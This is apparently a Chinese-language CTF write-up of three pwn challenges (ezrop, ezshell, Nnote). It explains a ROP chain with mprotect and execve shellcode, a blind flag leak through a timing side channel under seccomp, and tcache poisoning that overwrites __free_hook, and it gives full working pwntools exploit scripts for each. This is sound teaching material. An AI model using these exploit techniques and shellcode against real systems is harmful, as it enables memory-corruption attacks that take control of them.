题目总体比较简单,就挑三道相比没那么简单的题详细讲一下
ezrop 题目 题目很简单,就是一个栈溢出漏洞
开启了NX保护
但是给了mprotect函数
思路 简单的栈溢出又开启了NX保护,就不能简单地写个shellcode到栈上,但是题目又没有system函数,所以还是得用shellcode,只要把shellcode所在的内存页用mprotect
函数开启执行权限就行了。因为靶机开启了ASLR保护,所以栈的地址是动态变化的,又没有write函数能够泄露地址,所以我们无法得到栈的地址,把shellcode写到栈上这条路就行不通,只能另找地址来放shellcode。
在0x600000的页上我们是有写到权限的,所以我们可以考虑把shellcode写到0x600000的页上。首先利用栈溢出构造rop链再次调用read函数来读取shellcode放到0x600000的页上,并把栈迁移到0x600000的页上,这样我们就又能构造rop链来执行mprotect
函数开启0x600000的页的执行权限,然后执行shellcode。
这里为了不影响程序运行,我们把第二个rop链读取到程序没有使用的0x600e00处
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *p = process('./ezrop' ) buf_addr = 0x600e00 call_mprotect = 0x400671 call_read = 0x400651 pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006DA mov_rdx_r13_call = 0x4006C0 r12 = buf_addr + 0x48 pop_rdi_ret = 0x4006e3 pop_rsi_pop_r15_ret = 0x4006e1 shellcode_addr = buf_addr + 0x88 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload1 = 'a' *0x50 + p64(buf_addr) payload1 += p64(pop_rsi_pop_r15_ret) + p64(buf_addr) + p64(0x0 ) payload1 += p64(call_read) payload2 = 'a' *8 payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0x0 ) * 2 + p64(r12) + p64(0x7 ) + p64(0x0 ) * 2 payload2 += p64(mov_rdx_r13_call) payload2 += p64(pop_rdi_ret) + p64(0x600000 ) payload2 += p64(pop_rsi_pop_r15_ret) + p64(0x1000 ) + p64(0x0 ) payload2 += p64(call_mprotect) payload2 += 'a' *8 payload2 += p64(shellcode_addr) payload2 += shellcode p.send(payload1.ljust(0x200 , '\x90' )) p.send(payload2.ljust(0x200 , '\x90' )) p.interactive()
ezshell 题目 这是一道seccomp的题,题目逻辑就是执行输入的0x18字节的shellcode
用seccomp-tools查看syscall的过滤规则,可以看到只允许read
、open
、mprotect
三个系统调用
思路 题目只能输入0x18字节的shellcode,这肯定是远远不够的,所以我们先用这0x18个字节再执行一次read
读入更多的shellcode,这段shellcode就可以用来读flag,把后读入的shellcode放到后面,就能一起执行。但是我们甚至都没有write
函数,即使能读flag也无法输出出来。这里我采取的是爆破的方法,对读入内存的flag逐字节爆破,比较内存中的字符与传入的字符,如果相同就陷入死循环,用recv
超时来判断是否相同。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.arch = 'amd64' mmap = 0x10000 def cmp_flag_by_byte (p, offset, ch ): code = asm( """ mov rsi, 0x10300 mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl, dl jz loop xor edi, edi push SYS_exit pop rax syscall loop: jmp loop """ .format (offset, ch) ) sh3 = asm(shellcraft.open ('./flag' )) sh3 += asm(shellcraft.read(3 , mmap + 0x300 , 0x100 )) sh3 += code sh1 = asm(shellcraft.read(0 , mmap + 0x18 , len (sh3))).ljust(0x18 , '\x90' ) p.sendafter('master?\n' , sh1) p.send(sh3) flag = '' for offset in range (0x30 ): offset = 38 for ch in range (0x20 , 0x7E +1 ): p = process('./ezshell_new' ) try : cmp_flag_by_byte(p, offset, ch) p.recv(timeout=2 ) flag += chr (ch) print ("find one byte in flag :" , flag) p.close() break except : p.close() print ("all done: flag is " , flag)
Nnote 题目 题目就是常规的note管理,提供了增删查改。漏洞点在add
里面,size可以为0,这样在edit
的时候就会造成溢出
思路 因为libc是2.31的,所以存在tcache,思路也很简单,如果我们能够溢出到已经在tcache中chunk,并且修改其next指针,就能伪造chunk,从而实现任意地址写,然后把__free_hook
指针修改为system
的地址,就能getshell。然而我们还需要泄露libc的地址,我们知道unsorted bin中的头尾两个chunk里是有libc地址的,所以只要申请8个0x80的chunk再释放,tcache链被填满之后就会有一个chunk进入到unsorted bin中,这时如果申请size为0的chunk(实际得到的chunk是0x20大小的),就会把unsorted bin的chunk从头部拆分出一个0x20的chunk,因为size为0,所以add
中的memset
函数不会清空chunk里的内容,这样我们就能读出chunk里的libc的地址。
另外调试的时候可以利用glibc-all-in-one和patchelf两个工具修改程序的链接库到2.31的版本
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context.log_level= 'debug' p = process('./Nnote' ) libc = ELF('./libc-2.31.so' ) def add (size ): p.sendlineafter('> ' , '1' ) p.sendlineafter('size: ' , str (size)) def delete (index ): p.sendlineafter('> ' , '2' ) p.sendlineafter('index: ' , str (index)) def edit (index, data ): p.sendlineafter('> ' , '3' ) p.sendlineafter('index: ' , str (index)) p.sendlineafter('data:' , data) def show (index ): p.sendlineafter('> ' , '4' ) p.sendlineafter('index: ' , str (index)) add(0x80 ) for i in range (7 ): add(0x80 ) for i in range (1 , 8 ): delete(i) delete(0 ) add(0 ) show(0 ) libc_base = u64(p.recvuntil('5.Exit' )[:6 ].ljust(8 , '\x00' )) - 0x1ebc60 p.info('libc leak {}' .format (hex (libc_base))) add(0 ) add(0 ) delete(2 ) delete(1 ) payload = '\x00' * 0x18 payload += p64(0x21 ) payload += p64(libc_base + libc.symbols['__free_hook' ]) edit(0 , payload) add(0 ) add(0 ) edit(2 , p64(libc_base + libc.symbols['system' ])) add(0x10 ) edit(3 , '/bin/sh' ) delete(3 ) p.interactive()